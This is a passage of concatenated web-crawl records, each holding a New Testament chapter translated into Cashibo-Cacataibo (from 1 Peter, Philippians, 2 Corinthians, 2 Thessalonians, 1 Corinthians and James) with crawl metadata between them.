'anan ca an ñu upí 'acë unicama a nuibaquin —mix camina upí 'ai —quixun caia. 15 Mitsúnmi upí ñuishi 'ati ca Nucën Papa Dios cuëënia. Usaquinmi 'aia isi ca an Nucën Papa Diosan bana 'unáncëma 'ixun an upí oquin sináncëma unicama ax mitsumi uisaíbi banatima 'icën.\n16 Mitsun upí ñuishi 'ai camina 'apucamami racuë́tima 'ain. Usa 'aíshbi camina —'ëx cana camabi unin iscëx upí uni 'ai —quixun sinánquin amo cëmëanan ñu 'atima unë́xun 'ati sinántima 'ain. An asérabi Nucën Papa Dios cuëëncësabi oquinshi 'acë unisa camina 'iti 'ain. 17 Camabi uni camina upí oti 'ain. Axa Jesucristomi catamëcë unicama camina nuibati 'ain. Nucën Papa Diosmi camina racuë́ti 'ain. Racuë́anan camina mitsun 'apu quicësabi oquin ñu 'ati 'ain.\nCristo tëmërasaribi oía aín unicamax tëmërati bana\n18 Uni ñu mëëxuncë 'ixun camina ami ñu mëëxuncë unían mi 'amicëxun 'aisama tanquinma a 'anúan mitsu cacë ñu a upí oquin 'axunti 'ain. Usaquin camina an mitsu nuibacë unishima, an mitsu nuibacëma uniribi upí oquin ñu 'axunti 'ain. 19 An ñu mëëxuncë unían upí oquin ñu mëëxuncëxunbia an ñu mëëmicë unin 'atimoquin tëmëramicëxunbi ca an uni ñu mëëxuncë unin —'ëx cana Nucën Papa Diosnan 'ai —quixun sinánquin tanshiti 'icën. Usai 'iti ca Nucën Papa Diosan iscëx upí 'icën. 20 Usa 'aínbi ca upí oquin ñu mëëiama, an mitsu ñu mëëmicë unin mitsu 'atimoquin tëmëramicëxunmi tanshitiabi Nucën Papa Diosan mitsu upí isima, mitsun 'ucha cupía usoquin mitsu 'aia isquin. Isanan ca upí oquinmi ñu mëëxuncëxunbia an mitsu ñu mëëmicë unin 'atimoquin tëmëramicëxunmi tanshitia Nucën Papa Diosan mitsu upí isia. 21 Usaími 'inun ca Nucën Papa Diosan mitsu aín uni 'imiaxa. Cristonën ca ñu 'atima 'acëma 'ixunbi mitsu cupí tëmëracëxa. Usaribi oquin camina ñu atima 'acëma 'aish tëmëraquinbi tanshiti 'ain. 22 Cristonën ca uisa ñu 'atimabi 'ama 'icën. 'Anan ca uisaquinbi uni paránma 'icën. 23 Unían ami nishquin ñu cacëxunbi ca usaribi oquin cáma 'icën. Usa 'ixun ca unían 'atimoquin tëmëramicëxunbi uni —cana mi cupiti 'ai —quixun cáma 'icën. Cupiti sinánquinma ca —'ën Papa Diosan cuni ca upí oquin isquin mëníoti 'icë —quixun sináncëxa. 24 Nun 'uchacama cëñucë 'aíshnu amiribishi ñu 'atima 'atëcënima, ñu upíshi 'ai tsónun ca Cristo nun 'uchacama bicë cupí i curúsocënu bamacëxa. Mitsúxmi ñu 'atima 'ai 'insíncësa 'aíshbi upí 'inun ca ax 'aisamaira oquin paë tënëi bamacëxa. 25 Carneronëxa 'ibuñuma 'aish 'icësari camina mitsux 'iacën. Usa 'iá 'aíshbi camina sinanati Cristomi catamëan. Amia catamëcëxuan aín 'ibun carnero bëruancësa oquin ca an upími 'inun mitsu bërúanquin 'aquinia.","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/ebible.org\/cbrNT\/1PE02.htm","date":"2022-01-17T01:27:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320300253.51\/warc\/CC-MAIN-20220117000754-20220117030754-00651.warc.gz","language":"cbr","language_score":1.0000083447,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"cbr_Latn_score\": 1.0000083446502686}","num_words":1014,"character_repetition_ratio":0.098,"word_repetition_ratio":0.0,"special_characters_ratio":0.218,"stopwords_ratio":0.393,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2\nBamatancëx baísquia 'icëa Cristo camabi unin rabiti bana\n1 Mitsux an 'aquincëx Cristomi cushianan an nuibacëx cuëëni, Nucën Papa Diosan Bëru Ñunshin Upíñu 'ianan 'ë nuibacë 'aish, 2 camina 'ë cuëënminux ësai 'iti 'ain, bëtsin sináncësaribi oquin sinani asérabi camáxbi bëtsibë nuibananquin amanua sinánquinma achúshi oquinshi sinani 'iti 'ain. 3 Bëtsi uni 'aquinti sinánquinma camina minánshi 'iti ñu 'atima 'ain. 'Ëx cana bëtsi unisama 'ai quixun sinani rabíquinma camina —uni raírinëx ca 'ëx 'icësamairai upí 'icë —quixun sinánti 'ain. 4 Mitsúxëshi chuámarua 'aish cuëënuxun ñu 'atishi sinánquinma camina uni raíriribi chuámarua 'i cuëënun 'aquinti 'ain.\n5 Jesucristonëan 'ásaribi oquin camina sinánti 'ain. 6 Aribi 'aish Nucën Papa Diosbë 'ixunbi ca —anu 'ëx asaribi 'aish 'ën Papa Diosbë 'icë ënë nëtë cana ëbiántima 'ai —quixun sinánma 'icën. 7 Aín nëtë ëbëtsini utancëx uni 'aish ca aín Papa cuëëncësabi oquin camabi uni 'aquinux ënë menu 'iacëxa. 8 Aín Papa cuëëncësabi oi ca bamatsianxmabi i curúsocënuax bamacëxa, 'uchañuira uni 'icësaribiti. 9 Usaía 'icë cupí ca Nucën Papa Diosan Jesucristo, unicama 'imainun ángelcamabëtan sënë́nmaira 'imiacëxa. Bëtsi unicamasamaira ca a uni Jesús caquin anëcë, a 'icën. 10 Usa 'ain ca a ñuicë a bana cuaquin, camabi nëtënu 'icë unicama 'imainun naínu 'icë ángelcama 'imainun anua uni bamacë anu 'icëcamanribi ami racuë́quin a rabiti 'icën. 11 Usa 'ain ca camaxunbi —Jesucristo ax ca asérabi camabi menu 'icë uni 'imainun ñucaman 'Ibu 'icë —quixun cati 'icën, Nucën Papa Dios ax ca asérabi Dios 'icë quixun 'unánquin.\nAxa Jesucristo catamëcë unicaman, upí 'inun bëtsi unicamaribi 'aquinti bana\n12 'Ën nuibacë xucë́antu, a ñucama 'unani camina 'ëx mitsubë 'ain, 'ën Jesucristo ñuiquin mitsu cacë bana quicësabi oi 'ian. Usa 'ain camina 'ëx mitsubë 'ain 'icësamaira oi 'ëx mitsubëma 'ain, 'ën mitsu cásabi oi 'iti 'ain, Nucën Papa Dios cuëëncëma ñu 'atimi racuëti. 13 Nucën Papa Diosanbi ca ñu upí 'aími ax cuëëncësabi oi 'inun mitsu sinánmia. Sinánmianan ca a 'atimi sináncë ñu a 'anun mitsu aín cushi 'inania.\n14 Usa 'ain camina añu ñu caramina 'ai a ñui quianan cuëbicanánquinma nëtë́xuinshi 'ati 'ain, 15 bëtsi unicaman, mitsúxmi ñu 'aisama 'aíma Nucën Papa Dios cuëëncësabi oíshi 'ia isnun. Usai 'ia ca 'aisama 'aísha ax ami sináncëma unicaman, Nucën Papa Diosan bëchicë 'aíshmi mitsun nuitu upí 'icë isti 'icën. Usa 'aish camina mitsux 'ispacaman bëánquibucë 'icëbi pëcacë usaribi 'ain, 16 —Jesucristomi catamëti ca uni Nucën Papa Diosnan 'ia —quixunmi unicama bana ñuixuncë cupí. Mitsúxmi usa 'ain cana 'ën Cristo ucëbëtan —ñancábi cana tëmëraquinbi Cristo ñuiquin Filiposnu 'icë unicama bana ñuixuanma 'ai —quixun 'unani cuëënquin upí oquin sinánti 'ain. 17 Mitsun camina tëmëraquinbi Jesucristomi catamëquin ax cuëëncësabi oquin 'aquin Nucën Papa Dios rabin. Mitsúxmi usai 'icëbë cana 'ën mitsu 'aquincë cupí mitsux 'icësaribiti cuëënin. Cristomi sináncë cupí sapi cana bamati 'ai quixun 'unanibi cana masá nuitutíma mitsúxmi 'icësaribiti cuëënin. 18 'Ëx usai cuëëncëbë camina mitsúxribi —Jesucristonan 'iti ca asábi 'icë —quixun sinani cuëënti 'ain.\nTimoteo 'imainun Epafrodito 'ia bana\n19 Nucën 'Ibu Jesús cuëëncëbëtan Timoteo mitsu istánun 'itsama nëtë 'icëbëtan xuti cana sinanin. An mitsu isbëtsíntancëxun uisa caramina 'icani quixun ñuixuncëxun cuati cana cuëënti 'ain. 20 Timoteonënshi ca 'ën 'acësaribi oquin mitsu sinania. Usaquian an sináncë bëtsi uniribi ca 'aíma 'icën. 21 Ënu 'icë uni raírinën ca aín cuëëncë ñu 'atishi sinánquin a 'anúan Cristo Jesús cuëëncë ñu 'ati sinanima. 22 Acamaxa usa 'aínbi camina Timoteonën ca Nucën Papa Dios cuëëncësabi oquin 'aia quixun 'unanin. An ca 'ëbëtan Cristo ñuiquin bana ñuixuanxa. Aín bëchicënëan aín papa 'aquincësaribi oquin ca Timoteonën 'ë 'aquianxa. 23 Uisaquin cara an 'ëmia uni manáncëxun cuacë 'apun 'ë caia quixun cuatancëxun Timoteo xuti cana sinanin. 24 Sinánan cana Nucën 'Ibu Jesucristonëan 'aquincëx 'itsama nëtë 'icëbë mitsu isi cuanti sinanin.\n25 Nun xucën Epafrodito, ami mitsun 'ëa 'aquinun xucë, a mitsunu cuanun xuti ca asábi 'iti 'icë quixun cana sinan. Suntárunëan tëmëraquinbi aín capitanën bana tancësaribi oquin ca Epafroditonën Jesucristonën bana quicësabi oquin racuë́quinma 'anan 'ëbëtan unicama bana ñuixuanxa. 26 Mitsúnmi a 'insíncë cuacë a 'unani ca mitsu isi cuanti sinani bënëtia. 27 'Insíncë 'aish ca asérabi bamatisa 'iaxa. Usa 'icëbi ca Nucën Papa Diosan pëxcúmiaxa. 'Ëx a sinani masá nuitutancëx axa bamacëbë 'aisamairai masá nuituti rabanan ca 'ëribi nuibaquin Nucën Papa Diosan pëxcúmiaxa, 'ën upí oquin sinánun. 28 Usa 'aínmi a sinani masá nuitutíbi —ñucëma ca —quiax a istëcëni cuëënti cupí cana bënë́nquinshi mitsunu cuanun xutin, 'ënribi upí oquin sinánuxun. 29 Usa 'ain camina cuania, axa Nucën 'Ibu Jesucristonan cupí cuëënquin upí oquin bicanti 'ain. Usa unicama camina —upí uni ca ax 'icë —quixun sinánquin aín bana cuati 'ain. 30 'Ëx 'ura 'icëmi mitsun 'ë 'aquiniamabi ca —sapi cana bamati 'ai —quixun sinanibi Epafroditonën ënu uxun 'ë 'aquianxa. Asérabi ca Jesucristo cuëëncësabi oquin 'acë cupí bamaibi ië́axa.","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/ebible.org\/cbrNT\/PHP02.htm","date":"2022-01-24T03:27:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320304471.99\/warc\/CC-MAIN-20220124023407-20220124053407-00413.warc.gz","language":"cbr","language_score":1.0000060797,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"cbr_Latn_score\": 1.000006079673767}","num_words":739,"character_repetition_ratio":0.074,"word_repetition_ratio":0.0,"special_characters_ratio":0.214,"stopwords_ratio":0.346,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2\n1 Mitsu masá nuitumiti rabanan cana mitsu isi bënëtishi cuantëcëntima sinan. 2 ¿'Ën mitsu masá nuitumia cara uin 'ë upí oquin sinánmiti 'ic? 'Ën sapi cana mitsu masá nuitumia, usa 'aínbi camina mitsúinshi 'ë upí oquin sinánmiquin 'ë cuëënmiti 'ain. 3 Mitsu isi cuaniami 'ë masá nuitumiti rabanan cana cuanquinma mitsu usaía quicë quiricashi buánmian. Buánmiquin cana sinan, 'ëx cuani masá nuitutíma cuëënia isi camina mitsúxribi upí oquin sinani cuëënti 'ai quixun. 4 Mitsu buánminuxun a quirica cuënëoi cana mitsu sinani masá nuituti bëunan mëscuti 'ian. Mitsúxmi masá nuitunun quixun cana a quirica 'acëma 'ain. 'Ën cana asérabi mitsu nuibati quixunmi 'unánun cana usaquin 'an.\nAxa numi 'uchacë uni aín 'ucha manumiti bana\n5 'Aisamaira oquin mitsu masá nuitumitisama tanquinbi cana mitsu cain, an ñu 'atima 'acë unin ca 'ëishima micamaribi masá nuitumiaxa. 6 Timë́xunmi mitsun 'ën mitsu cacësa oquin 'acë uni a camina usashi oxun ënti 'ain. 7 Usaquin 'acëxa sinanatia camina aín 'acë ñu manuquin a nuibaquin aín masá nuitucë nëtë́miquin, upí oquian sinánun 'aquinti 'ain, axa 'aisamaira masá nuituti rabanan. 8 Usaquin 'aquin camina axribia mitsubë timë́nun canan mitsun camina a nuibati quixuan 'unánun abë upíonanti 'ain. 9 Asérabi caramina Jesucristo cuëëncësabi oquin 'aquin, 'ën mitsu cacë bana cuaquin 'ati 'ai quixun 'unánuxun, cana a quirica mitsu buánmian. 10 Usoquin 'aquinmi mitsun aín 'ucha manuquin, aribi manumicëbëtan, cana 'ënribi aín 'ucha manuin. Axa 'ëmi 'uchacëbi cana mitsúnmi aín 'ucha manucë cupí, 'ënribi aín 'ucha manuan, Cristo cuëëncësabi oquin. 11 Usoquin manucëma 'icë ca ñunshin 'atimanën 'apu, Satanás, an nu 'atimaquin sinánmiquin 'atimamiti 'icën. Usa ca ax 'icë quixun cananuna 'unan. An usoquin nu 'atimaquin sinánmiti rabanan cananuna aín 'ucha manui a unibë upí 'iti 'ain.\nTroasnuaxa Tito isíma Pablo bënë́a\n12 Troas ëmanuxun Cristo ñuiquin bana ñuixunux bëbatancëxun, ax cuëëncësabi oquin 'ën ñuixuncëxun cuati ca unicama cuëëanxa. 13 Cuëënia ñuixunti 'aíshbi cana nucën xucën Titobë mërananxma bënëti, anu 'icë unicama ëbiani, Macedonia menu cuan.\nCristomi catamëti aín unicama cushi 'iti bana\n14 Ñunshin 'atimanëan nu 'atimaquin sinánmisa tanan aín bana ñuixunxunma 'anun 'imitisa taniabi ca Nucën Papa Diosan, Cristo Jesús cupí, nun 'acësabi oquinu aín bana ñuixunun nu 'imia. An ca aín 'acësabi oquin nu 'aquinia quixun 'unánquin cananuna —asábi ca —quixun caquin a rabin. Uinu caranuna cuani, anuxun ca nun nu Cristo Jesús ñuiquin aín bana ñuixunia, a banax ca asérabi upíira 'icë quixun unin sinania. 15 Nun Cristo ñuiquin aín bana unicama nuibaquin ñuixuncëbë ca Nucën Papa Dios cuëënia. Nun nu ñuixuncëxun cuatia raíri uni ainan 'inun ië́micë 'imainuan raíri unix ami sinántisama tani ië́micëma 'aínbi ca Nucën Papa Dios nun nu a unicama nuibaquin aín bana ñuixuncëbë cuëënia. 16 Axa ami sinántisama tancë unicamax ca nun nu Cristo ñuixuncëxun cuatíbi cuëënima, xënibua 'aínbi Nucën Papa Diosbëma 'iti 'icën. Usa 'aínbi ca axa ami sinántisa tancë unicamax nun nu Cristo ñuixuncëxun cuati, ami catamëti —usai 'inux ië́micë 'aish cana xënibua 'aínbi Nucën Papa Diosbë 'iti 'ai —quixun 'unani cuëënia. ¿Usoquin unicama sinánmiquin bana ñuixunti cara uin 'ati 'ic? 17 'Itsa unin ca curíqui biti cupíshi Nucën Papa Diosan bana ñuixunquinbi a bana quicësa oquin ñuiquinma bëtsi oquin ñuixunia. Usa 'aíshbi cananuna nux a unicamasama 'ain. Usa 'ixun cananuna Cristonan 'ianan Nucën Papa Diosan nu aín bana ñuixunun caíscë 'ixun, axa cuëëncësabi oquin aín bana unicama ñuixunin.","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/ebible.org\/cbrNT\/2CO02.htm","date":"2022-01-28T18:43:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320306335.77\/warc\/CC-MAIN-20220128182552-20220128212552-00659.warc.gz","language":"cbr","language_score":0.9999992847,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"cbr_Latn_score\": 0.9999992847442627}","num_words":524,"character_repetition_ratio":0.084,"word_repetition_ratio":0.0,"special_characters_ratio":0.205,"stopwords_ratio":0.29,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2\nAxa uti cëmëi paránanti 'unáinracë uni achúshi ñuicë bana\n1 Nucën xucë́antu, Nucën 'Ibu Jesucristo uti 'imainun nux abë biranani timë́ti ñuiquin cananuna ënë bana mitsu cain. 2 Aín uti nëtë ñuiquin ca unin —Nucën Papa Diosan 'unánmicëxun cana 'unanin, anúan Jesucristo uti nëtë ca uaxa —quixun mitsu cati 'icën. Camainun ca raírinënribi —aín uti nëtë ca asérabi sënënia —quixun bana ñuixunquin mitsu cati 'icën. Raírinënribishi ca —Pablonën ca nu, anúan Nucën 'Ibu Jesucristo uti nëtë ca sënënia quixun quirica bëmiaxa —quixun mitsu cati 'icën. Usaquian cacëxbi camina bënëti ratuti sináncasmatima 'ain. 3 Usai quicë bana ñuia cuaquinbi camina —asérabi ca —quixun sinántima 'ain. Jesucristo uti nëtë ucëma pan 'ain ca 'aisamaira unin Nucën Papa Diosan bana cuaisama tanti 'icën. Usaía 'icëbë ca aínra unicama paránquin aín bana cuanun quixun 'aisama ñu 'amiti uni achúshi, axa aín 'ucha cupí 'aisamaira oquin castícancë 'iti, ax uti 'icën. 4 A unin ca camabi uni Nucën Papa Dios 'imainun atúan rabiquin, ax ca nun dios 'icë quixun cacë, a ñucama ënquin aishi rabinun cati 'icën. Canan ca anuxun Nucën Papa Dios rabiti xubunubi atsíanx —'ëx cana Dios 'ai —quixun sinani tsóti 'icën.\n5 ¿Mitsubë 'ixun 'ën usai ca 'iti 'icë quixun mitsu ca, a caina sináncaniman? 6 Mitsun camina 'unanin uisa cupí cara 'aisama uni ax aín uti nëtë sënë́ncëma 'aínshi aima quixun. 7 A unia ucëma pan 'aínbi ca anúan 'atima unin uni paránquin ñu 'atima 'ati a cushínribi unin bërí nëtë́nbi ñu 'atima 'aia. An aín uti bëaracë axa nëtë́cëbë cuni ca uti 'icën. 8 Usoquin ëncëx pain aia cëmën tapun 'atima uni a camabi unin isiabi ca Nucën 'Ibu Jesusan axira uquin aín cuëbitan uíncënëinshi 'aquin aín cushían pëcabëtsincë anúinshi cëñuti 'icën. 9 Cëmëi paránanti 'unáinra uni ax ca ñunshin 'atimanën 'apu, Satanás, an 'imicëx aín cushibë uti 'icën. Uquin ca cushiira 'ixun unían 'acëma ñu 'itsaira aín cushínbi 'aquin uni paránti 'icën. 10 Usonan ca Jesucristomi catamëisama tancë cupía xënibua 'aínbi Nucën Papa Diosnan 'itima unicama, a atun 'ucha cupíbi paránuxun uisa ñu cara 'aisama 'icë abi 'ati 'icën. 11 Nucën Papa Diosanbi ca a unían paráncë unicama a —asérabi ca a bana usa 'icë —quixun sinánun usoquin 'imiti 'icën. 12 An Jesucristo ñuicë bana cuatíbi ainan 'iisama tancë 'ixun atun cuëëncë ñuishi 'aquin 'atima ñu 'acë unicama, axa atun 'ucha cupíbi castícancë 'inun ca usai 'iti 'icën.\nNucën Papa Diosan ainan cupía ië́nun caíscë unicama\n13 Nucën xucë́antu, usa 'aínbia Nucën 'Ibu Jesucristonën nuibaquin mitsu ainan 'imicë cupí cananuna Nucën Papa Dios —asábi ca —ënquinma cati 'ain. Mecama unioisama pain 'ixunbi ca Nucën Papa Diosan ainan 'inux ië́ti mitsu sinánxuancëxa. Usa 'aish camina aín Bëru Ñunshin Upí an ax cuëëncësa oíshi 'inun mitsu sinánmicë, a cupí 'ianan asérabi Jesucristo ñuicë bana sináncë cupí, ainan 'ain. 14 Nucën Papa Diosan ca nun nu —Jesucristomi catamëti ca uni ainan 'iti 'icë —quixun aín bana ñuixuncëxmi ami catamëti, asaribi upí 'aish aín nëtënu abë 'inun mitsu caísaxa.\n15 Nucën xucë́antu, usa 'ain camina, mitsun Jesucristomi catamëti ëntima 'ain. Ëníma 'ianan camina nun nu mitsu ñuixuncë banacama 'imainun nun nu mitsu buánmicë quiricanu 'icë banacamaribi cuaquin manuima a banacama quicësabi oi 'iti 'ain. 16 Usa 'ain cana Nucën 'Ibu Jesucristo 'imainun Nucën Papa Dios an nuibaquin nux chuámashi tani cuëënun 'imianan xënibua 'aínbi abë 'inun nu 'imicë, 17 anbia, mitsu upí oquin sinánmianan Jesucristomi catamëti ënquinma ax cuëëncësabi oquin upí banaishi ñuianan ñu upíshi 'anun 'aquinti cuëënin.","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/ebible.org\/cbrNT\/2TH02.htm","date":"2022-01-21T07:57:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320302740.94\/warc\/CC-MAIN-20220121071203-20220121101203-00299.warc.gz","language":"cbr","language_score":1.0000087023,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"cbr_Latn_score\": 1.0000087022781372}","num_words":548,"character_repetition_ratio":0.086,"word_repetition_ratio":0.0,"special_characters_ratio":0.215,"stopwords_ratio":0.343,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"16\nAxa Jerusalénu 'icë Jesucristomi catamëcë unicama curíqui buánmia\n1 Axa Jesucristomi catamëcë unicama curíqui 'inánti ñuiquinmi 'ë ñucácëxun cana mitsu cain, 'ën Galacia menu 'icë unicama cacësabi oquin camina mitsúnribi curíqui 'inánti 'ain. 2 Domingo nëtëcaman camina mitsu achúshi achúshinën mitsúnmi bicë curíqui uiti caramina 'inánuxun nanti 'ai quixun upí oquin sinántancëxun min xubunuxun nanti 'ain. 'Ëx bëbacëbëtan 'atima cupí camina usaquin 'ati 'ain. 3 Mitsúnmi nancë curíquia an Jerusalénu buánti camina uni raíri caísti 'ain. Usa 'ain cana bëbaquin, 'ën a unicama mitsúnmi nancë curíqui acëñun uisa cupí cara atux cuania quixun caquin cuënëoxun quirica 'inánquin, Jerusalénua a buani cuantánun xuti 'ain. 4 'Ëxribi cuanti asábi 'ain ca a unicamax 'ëbë cuanti 'icën.\nPablo Macedonia me 'imainun Corinto ëmanu cuanti sinan\n5 Macedonia mecamanu cuanti cana sinanin. Anu cuantancëx cana anuax mitsu isi cuanti 'ain. 6 Cuantancëx bëbatancëx sapi cana mitsunu pan 'iti 'ain, anuxun mita inúmi. 'Itancëx anuax cuania camina 'ën cuanti 'ë mëníoxuncanti 'ain. 7 Inúquinshi mitsu isti cana cuëëniman. Nucën 'Ibu Jesucristo cuëëncëbë cana mitsubë 'ëora pain 'i cuanti 'ain. 8-9 Efeso ënuxun 'ën a ñuiquin bana ñuixunia cuati cuëëni ca 'itsa uni Cristomi catamëtia. Usaía 'icëbëtanbi ca 'itsa uniribi 'ën ñuicë bana cuaisama tanquin timanan 'ën ñuixunxunma 'anun 'ë 'imitisa tania. Usa 'ain cana Pentecostes nëtë utámainun Efeso ëma ënu pan 'iti sinanin.\n10 'Ën 'acësaribi oquin ca Timoteonën Nucën 'Ibu Jesucristo ñuiquin unicama bana ñuixunia. Usa 'ain camina axa bëbaia upí oquin biti 'ain, mitsubë 'aísha upí oquin sinani cuëënun. 11 Usa 'ain camina a ñui uisaíbi banacantima 'ain. Axa nucën xucë́antu raíribë aia cana cainin. Usa 'ain camina mitsubë 'itancëxa ënu unun anúan uti ñu 'inánan upí oxun xuti 'ain.\n12 Nucën xucën, Apolo, a ñuiquinmi mitsun 'ë ñucácë, a ñuiquin cana mitsu cain, a cana axa Jesucristomi catamëcë uni raíribëa mitsu isi cuantánun quixun can. Cacëxbi ca bërí cuainsama tanxa. Usa 'ain ca uinsaran cara cuanti 'icë quixun isti 'icën.\nPablonëan ashiquin bërúanxa 'icánun quixun ca\n13 Mina 'atima ñu 'ai quiax bërúancaquin camina uisa ñu cara 'icëbëbi manutima Jesucristomi catamëti 'ain. Ami catamëti camina unimi racuëtima an cushiocë 'iti 'ain. Upí sinánñu unían sináncësa oquin camina sinánti 'ain. 14 Uisa ñu caramina 'ain a 'aquin camina uni nuibaquin 'ati 'ain.\n15 'Ën xucë́antu, camina 'unanin, Acaya menu 'icë raírinëxa 'icëma pan 'ain ca Estéfana 'imainun aín xubunu 'icëcamax Jesucristomi catamëacëxa. Ami sinánquin ca axa Jesucristomi catamëcë unicama 'aquinquin ñu 'axunia. —Ësaquin nun 'ati ënëx ca nun ñu mëëti 'icë —quixun ca sinánxa. 16 A unicamabë upí 'ianan camina aín bana cuati 'ain. An 'acësaribi oquin ñu 'acë unicama 'imainun an unicama 'aquinquin ñu mëëcë unicama camina abë upí 'ianan aín bana cuati 'ain. 17 Estéfanas, Fortunato, Acaico acamaxa mitsunuax 'ë isi ucëbë cana cuëëan. 'Ëbëma 'ixunmi mitsun 'ë 'axuntima 'aínbi ca a unicaman 'ë ñu 'axuanxa. 18 Mitsúnmi xucë́xa ucëbë cana cuëëan. Usaribiti camina mitsúxribi acama 'ënua unun xuti cuëëan. Usa unicama camina ax ca upí uni 'icë quixun 'unánti 'ain.\n19 Asia menu 'icëcama axa Jesucristomi catamëcë, acaman ca bërúanxmi 'inun mitsu camia. Aquila 'imainun Priscila 'imainun aín xubunu timë́cëcama, an ca Nucën 'Ibu Jesucristomi sináncë 'ixun bërúinroxmi 'icánun quixun 'ë mitsu camia. 20 Axa Nucën 'Ibu Jesucristomi catamëcë uni raíricamanribi ca mitsu bërúanxmi 'icanun camia. Jesucristo cupí mitsun nuitu upí 'aish camina nuibanani bërúanxa 'inun bëtsibë bëtsibë cananti 'ain.\n21 'Ëx Pablo 'ixun 'ënbi cuënëoquin cana bërúanx mi 'icanun cain.\n22 Ui unin cara Nucën 'Ibu Jesucristo sinaníma ax ca Nucën Papa Diosan iscëx 'aisama 'icën. Nucën 'Ibu Jesucristo axa uti cana 'ëx cuëënin.\n23 An mitsu upiti bucunun nuibaquin 'aquinti cana cuëënin. 24 Mitsúxribimi 'ësaribi Cristo Jesúsnan 'icë cana micama sinanin. Ashi, Pablo.","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/ebible.org\/cbrNT\/1CO16.htm","date":"2022-01-24T03:20:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320304471.99\/warc\/CC-MAIN-20220124023407-20220124053407-00389.warc.gz","language":"cbr","language_score":1.0000050068,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"cbr_Latn_score\": 1.0000050067901611}","num_words":582,"character_repetition_ratio":0.086,"word_repetition_ratio":0.0,"special_characters_ratio":0.214,"stopwords_ratio":0.304,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2\nRaíri unishi nuibanan raíri 'atimotima\n1 'Ën xucë́antu, mitsux Nucën 'Ibu Jesucristo, ax Diossaribi upí, ami catamëcë 'ixun camina raíri unibëishi nuibananquin raíri uni timatima 'ain. 2 Ënëx ca ësa 'icën. Ñuñu uni axa upiti mëníocanan, upí chupa pañuanan, curi manë mëñuax, anu mitsux timë́cënu atsínmainun ca ñuñuma uníxribi chupa 'atimará pañuax atsínti 'icën. 3 Atsiniami mitsun ñuñu uni a upí oquin biquin: Anu tsóti upí ënu ca tsót quixun canan ñuñuma uni aribi: 'Iisa tani nianan ca menu tsóbut cati, ax ca 'aisama 'icën. 4 Usoquin 'aquin camina camabi uni sënën nuibaquinma 'atima sinánñu 'ixun raírishi nuibanan raíri uni 'atimoin.\n5 'Ën nuibacë xucë́antu, 'ën mitsu camainun ca cuat. Nucën Papa Diosan ca axa ënë menuax ñuñuirama unicama a caísia, atúxa ami upiti catamëcë 'ianan aín nëtënu abë 'inun, an nuibacë unicamax ca usai 'iti 'icë quiáxa aín bana quicësabi oquin. 6 Usa 'aínbi camina mitsun ñuñuma uni a —'aisama ca —quixun timaquin rabínmin. Ñuñuira uni an ca mitsu paránquin ñu mëëmianan tëmëramiquin mitsumi manánquin, an uníxa ami bëtsi uni ñui manáncëxun cuacë uninu buania. ¿Atux cara usama 'ic? 7 Usaquin 'ai ca Cristo, ax upí 'ixuan an mitsu ainan 'imicë a ñui 'atimati banaia. ¿Atux cara usama 'ic?\n8 Aín bana raírinëxa quicësoi 'icësamaira oi a bana quicësoi 'iti Nucën Papa Diosan banax ca ësai quia: \"Mixmi upiti bërúancacësaribi oquin camina min aintsicama nuibanan axa 'aquinsa 'icë 'aquinti 'ain\". A bana quicësabi oquin 'acë 'ixun camina mitsun Nucën Papa Dios cuëëncësabi oquin 'ain. 9 Usa 'aínbi camina mitsun, raíri unishi nuibanan raíri uni nuibacëma 'ixun, 'uchaquin Nucën Papa Diosan bana cuënëo quicësabi oquin 'aiman. 10 Ësa ca. An camabi aín bana cuënëo quicësabi oquin 'aquinbi Nucën Papa Diosan bana achúshi quicësa oquin 'acëma uni, an ca camabi Nucën Papa Diosan bana cuënëo quicësa oquin 'acëmasa 'aish 'uchaia. 11 Nucën Papa Dios axa \"Min xanuma 'ain camina xanubë 'itima 'ain\" quiá, axbi ca \"Uni camina 'atima 'ain\" quiacëxa. Usa 'aínbi ca an aín xanuma 'ain, xanubë 'iquinmabi uni 'acë uni an Nucën Papa Diosan bana quicësabi oquin 'aima. 12 Usa 'aínbi camina mitsux Nucën Papa Diosan, anun camabi unían ñu 'acë isti nëtën, mitsux caramina Jesucristomi catamëti axa cuëëncësabi oi 'ia quixun isti cupí, upitishi bananan upíshi 'iti 'ain. 13 Anúan an camabi unin ñu 'acë isti nëtë anun ca Nucën Papa Diosan, an bëtsi uni nuibaquin 'aquincëma unicama a aín 'ucha cupí uisa cara oti 'icë usoquin 'ati 'icën. Usonan ca an bëtsi uni nuibaquin 'aquincë unicama ashi uisabi otima 'icën.\nJesucristomi catamëcë 'ixuan unin ñu upíshi 'ati\n14 'Ën xucë́antu, an \"'ëx cana ami catamëti Jesucristonan 'ain\" quiquinbi, Jesusan bana quicësabi oquin upí ñuishi 'acëma uni ax ca aín bana ñancáishi 'icën. ¿Usa unix cara Jesucristonan 'aish ië́ti 'ic? Ca 'itima 'icën. 15 Ësa ca. Axa Jesucristomi sináncë uni, bëbu 'imainunbi xanu, chupañuma 'ianan a 